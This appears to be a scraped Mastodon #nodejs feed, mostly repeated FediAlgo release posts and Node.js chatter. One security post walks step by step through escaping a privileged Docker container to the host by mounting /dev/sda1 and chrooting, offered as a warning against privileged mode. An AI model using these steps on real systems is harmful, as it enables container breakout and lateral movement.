```ts const cats: Cat[] = [ new Cat({ id: "1aefd497-bb47-47e3-b160-cb69c5ba0ff4", name: "Kami", age: 4 }), ]; @Path("/cats") export class CatController { @Get @Path("/") public list(): Cat[] { return cats; } @Get @Path("/:id") public getById(@PathVariable() id: UUID): Cat | null { return cats.find((cat) => cat.id === id) ?? null; } @Post @Path("/") public create(@RequestBody(Cat) cat: Cat): Cat { cat.id = randomUUID(); cats.push(cat); return cat; } @Put @Path("/:id") public update(@PathVariable() id: UUID, @RequestBody(Cat) cat: Cat): Cat { const index = cats.findIndex((c) => c.id === id); if (index === -1) { throw new NotFoundResponseError("Cat not found"); } cats[index] = cat; return cat; } @Delete @Path("/:id") public delete(@PathVariable() id: UUID): void { const index = cats.findIndex((c) => c.id === id); if (index === -1) { throw new NotFoundResponseError("Cat not found"); } cats.splice(index, 1); } } ```

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Released version 1.0.3 of #FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed. Incredibly minor bugfix release.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

screenshot of fedialgo demo app

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Released version 1.0.3 of #FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed. Incredibly minor bugfix release.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

screenshot of fedialgo demo app

Alex0007

@Alex0007@mastodon.social

https://habr.com/ru/articles/933702/

#nodejs

Inautilo

@inautilo@mastodon.social

#Development #Overviews
JavaScript’s runtime decade · Running JavaScript beyond the browser and Node.js https://ilo.im/165oqw

_____
#JavaScript #Devices #Cloud #Browser #NodeJS #Deno #Bun #WebDev #Frontend #Backend

Inautilo

@inautilo@mastodon.social

#Development #Overviews
JavaScript’s runtime decade · Running JavaScript beyond the browser and Node.js https://ilo.im/165oqw

_____
#JavaScript #Devices #Cloud #Browser #NodeJS #Deno #Bun #WebDev #Frontend #Backend

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example):

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference.

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access.

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.

#devops #programming #webdev #java #linux #cybersecurity #php #nodejs

Greg Slepak

@taoeffect@crib.social

#JavaScript developers: do not use `npx`, ever.

Use @deno_land's `deno run` instead with appropriate sandboxing flags.

Example: https://github.com/okTurtles/chel/pull/58/files

#nodejs #npx #infosec #security

Greg Slepak

@taoeffect@crib.social

Greg Slepak

@taoeffect@crib.social

Socket

@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages #javascript #nodejs #infosec

Socket

@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages #javascript #nodejs #infosec

maybeanerd

@maybeanerd@bumscode.com

Interesting talk on multithreading in #nodeJS by @mcollina at #weAreDevelopers

I might need to give piscina a shot 🤔

ALT text details

Picture of Matteo on Stage, in front of a slide with the text "Node.js : More Threads Than You Think"

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest version of #FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, allows for the use of multiple accounts on multiple Mastodon servers. Also fixes some #GoToSocial interoperability issues.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

screenshot of fedialgo in action

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

@SocketSecurity@fosstodon.org

Over the weekend, Node.js quietly added a homepage button linking to paid third-party support for EOL versions.
This controversial move sparked pushback and now the TSC is weighing next steps.

Full story → https://socket.dev/blog/node-js-homepage-adds-paid-support-link-prompting-contributor-pushback #NodeJS

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest release of #FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, lets you blur / hide images marked as sensitive / #NSFW, which solves the "unwanted dick pics in your feed" issue that can come up when users of one of the more "risque" fediverse servers manage to make one of their favourite hashtags trend.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

screenshot of fedialgo showing an image post from the mastobate.social server has been blurred out

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

screenshot of fedialgo showing an image post from the mastobate.social server has been blurred out

Socket

@SocketSecurity@fosstodon.org

Over the weekend, Node.js quietly added a homepage button linking to paid third-party support for EOL versions.
This controversial move sparked pushback and now the TSC is weighing next steps.

Full story → https://socket.dev/blog/node-js-homepage-adds-paid-support-link-prompting-contributor-pushback #NodeJS

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
new release of #Fedialgo, the customizable timeline algorithm / filtering system for your Mastodon feed, counts the number of times each hashtag appears in your timeline even if people don't use a "#" character to give you a better sense of what people are talking about in the Fediverse.

there's a little bit of art vs. science here because some strings are disqualified from this kind of counting (e.g. a word like "the" should not be counted even if some maniac decided to make it a hashtag) so let me know if you see any weirdly high counts.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #Masto #MastoAdmin #Mastodon #mastohelp #MastoJS #nodejs #node #opensource #SocialWeb #timeline #TL #webdev #hashtag #typescript #hashtags

ALT text details

screenshot of fedialgo hashtag filters

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

ALT text details

screenshot of fedialgo hashtag filters

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

ALT text details

screenshot of fedialgo hashtag filters

JB Lièvremont

@mithfindel@mastodon.social

Or donc, #JeChercheUnJob

Idéalement, où mes 20+ années d'expérience dans "la tech" au sens large pourraient bénéficier à l'#environnement, l'#éducation, la #santé.

Il y a peu de domaines de la tech qui me font peur. J'ai fait du front, du back, de l'embarqué, du desktop, de l'intégration.

Je connais très bien l'écosystème #Java, un peu moins #Nodejs et #Python - et j'apprends vite.

Je me reconnais à 100% dans cette description des "généralistes experts" : https://martinfowler.com/articles/expert-generalist.html

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Just pushed a new release of #FediAlgo to production. Now sprinkles the latest posts from your homeserver into your feed, caches more stuff for performance reasons, fully supports blocked domains, and some other stuff.

https://universeodon.com/@cryptadamist/114518687892123058

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #MastoAdmin #Mastodon #mastohelp #nodejs #nod #opensource #SocialWeb #timeline #TL #webdev #mastojs #hashtags #MastodonApi #socialmedia

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

https://universeodon.com/@cryptadamist/114518687892123058

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

⚯ Michel de Cryptadamus ⚯

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, now has a "TOTAL CHAOS" preset for when you're really feeling like mixing up your timeline in addition to a way to weight toots based on the author's follower count, highlighting of hashtags based on how much you use or interact with them, and a bunch of other fund stuff.

* Try It: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #Masto #MastoAdmin #Mastodon #mastohelp #MastoJS #nodejs #nod #opensource #SocialWeb #timeline #TL #webdev #chaos #erys

ALT text details

screenshot of fedialgo with TOTAL CHAOS preset chosen

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #Masto #MastoAdmin #Mastodon #mastohelp #MastoJS #nodejs #nod #opensource #SocialWeb #timeline #TL #webdev #chaos #erys

ALT text details

screenshot of fedialgo with TOTAL CHAOS preset chosen

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #Masto #MastoAdmin #Mastodon #mastohelp #MastoJS #nodejs #nod #opensource #SocialWeb #timeline #TL #webdev #chaos #erys

ALT text details

screenshot of fedialgo with TOTAL CHAOS preset chosen

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
The new version of #Fedialgo is much, much faster at loading and reordering the timeline. Also has fancy gradients to show you which hashtags in your feed are the ones trending the most and which ones you post about the most. Also a bunch of other tweaks and improvements.

* Try the demo: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Video of it in action: https://universeodon.com/@cryptadamist/114518687892123058
* Release notes: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed/releases

ALT text details

Screenshot of Fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

ALT text details

Screenshot of Fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

ALT text details

Screenshot of Fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

ALT text details

Screenshot of Fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
You can now send replies to Toots as well as expand threads directly within the #FediAlgo demo app, no need to click through to the regular Mastodon web interface.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

ALT text details

screenshot of fedialgo showing threaded feature in background and reply box in foreground

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
You can now send replies to Toots as well as expand threads directly within the #FediAlgo demo app, no need to click through to the regular Mastodon web interface.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

ALT text details

screenshot of fedialgo showing threaded feature in background and reply box in foreground

Michael

@michael@thms.uk

I have posted about this before, but wanted to re-iterate how much in love I am with FediAlgo:

I’m currently on paternity leave so have around half an hour per day for social. That is of course far from enough to keep up with a chronological timeline like mine, and previously with Mastodon the FOMO was real.

Now I go to FediAlgo and I feel I got an overview over what’s interesting in that day. It’s also immensely customisable, but the defaults do a decent job for me.

If you haven’t tried it yet, I highly recommend you try it out. You can try it out on my personal playground at https://fedialgo.thms.uk or on the maintainer’s official website at https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/

Thanks @cryptadamist for the work you put into this!

Michael

@michael@thms.uk

I have posted about this before, but wanted to re-iterate how much in love I am with FediAlgo:

Now I go to FediAlgo and I feel I got an overview over what’s interesting in that day. It’s also immensely customisable, but the defaults do a decent job for me.

Thanks @cryptadamist for the work you put into this!

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action: https://universeodon.com/@cryptadamist/114395249311910522

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The fine @michael has deployed the #FediAlgo demo app to a place where you can test out the customizable algorithm + filtering system for your home timeline with nothing more than a web browser. You can find it here:

https://fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): https://universeodon.com/@cryptadamist/114395249311910522

cc: @rolle @paige @LaurensHof

#FediTools #FediTips #Fediverse #Mastodon #activitypub #mastohelp #Fedi #foss #nodejs #opensource #MastoAdmin #SocialWeb #Feed #timeline #algorithmicFeed #algorithmicTimeline #TL #algorithm #node #nodejs

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

https://fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): https://universeodon.com/@cryptadamist/114395249311910522

cc: @rolle @paige @LaurensHof

Neil Craig

@tdp_org@mastodon.social

Dependabot opened a PR to update my logging pipeline from Node22 to 24 this morning. This auto-deployed to a pre-prod environment and my stats tell me Node 24 is using ~8% (of 1GiB) more RAM than Node 22, with very similar workload.
My setup is Google Cloud Run running Debian slim.
Anyone seen this? I can't find anything being reported on the web.
#NodeJS #WebDev

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

https://fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): https://universeodon.com/@cryptadamist/114395249311910522

cc: @rolle @paige @LaurensHof

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

https://fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): https://universeodon.com/@cryptadamist/114395249311910522

cc: @rolle @paige @LaurensHof

Emelia 👸🏻

@thisismissem@hachyderm.io

The fantastic @adonisframework — which we used to build @iftas CCS reasonably quickly — is now on Mastodon / the Fediverse!

If you're looking for a fantastic #nodejs web framework, Adonis.js is not to miss!

Yuna

@LunaFreyja@hachyderm.io

Is Node.js the future of backend development, or just a beautifully wrapped grenade?

Lately, I see more and more backend systems, yes, even monoliths, built entirely in Node.js, sometimes with server-side rendering layered on top. These are not toy projects. These are services touching sensitive PII data, sometimes in regulated industries.

When I first used Node.js years ago, I remember:
• Security concepts were… let’s say aspirational.
• Licensing hell due to questionable npm dependencies.
• Tests were flaky, with mocking turning into dark rituals.
• Behavior of libraries changed weekly like socks, but more dangerous.
• Internet required to run a “local” build. How comforting.

Even with TypeScript, it all melts back into JavaScript at runtime, a language so flexible it can hang itself.

Sure, SSR and monoliths can simplify architecture. But they also widen the attack surface, especially when:
• The backend is non-compiled.
• Every endpoint is a potential open door.
• The system needs Node + a fleet of dependencies + a container + prayer just to run.

Compare that to a compiled, stateless binary that:
• Runs in a scratch container.
• Requires zero runtime dependencies.
• Has encryption at rest, in transit, and ideally per-user.
• Can be observed, scaled, audited, stateless and destroyed with precision.

I’ve shipped frontends that are static, CDN-delivered, secure by design, and light enough to fit on a floppy disk. By running them with Node, I’m loading gigabytes of unknown tooling to render “Hello, user”.

So I wonder:
Is this the future? Or am I just… old?

Are we replacing mature, scalable architectures with serverless spaghetti and 12-factor mayhem because “it works on Vercel”?

Tell me how you build secure, observable, compliant systems in Node.js.
Genuinely curious.
Mildly terrified and maybe old.

#NodeJS #BackendSecurity #SecureCoding #PII #Compliance #SoftwareArchitecture #ServerSideRendering #TypeScript #Java #Kotlin #Golang #Erlang #Ruby #Scalability #Observability #DevSecOps #LegacyVsModern #SecureByDesign #CompiledLanguages #CloudArchitecture #StatelessDesign #SecurityTheatre #TechSatire #LinkedInTechRant

ALT text details

Compiled Languages vs NodeJs picture

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Wrote a little parser for meshcore packets tonight. It's still messy and a lot more to implement. But, it reads the container format so I'm happy for now.

I have meshcore packets flowing from multiple repeaters(on different frequencies) talking on wifi using udp broadcasts.

The repeaters automatically discover each other on the network and now I'm able to watch their chatter with a quick nodejs server.

#lora #meshcore #networking #radio #nodejs #container #incus

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The FediAlgo hashtag filter section now highlights any hashtags you've posted about recently.

Interestingly the most I've used the app the more I've found feed filtering gets a ton of mileage for me. It's a huge change of pace to be able to instantly flip between whatever people are talking about on the Fediverse. Not really something you can do on any other social media platform I'm aware of.

* video of FediAlgo + link: https://universeodon.com/@cryptadamist/114395249311910522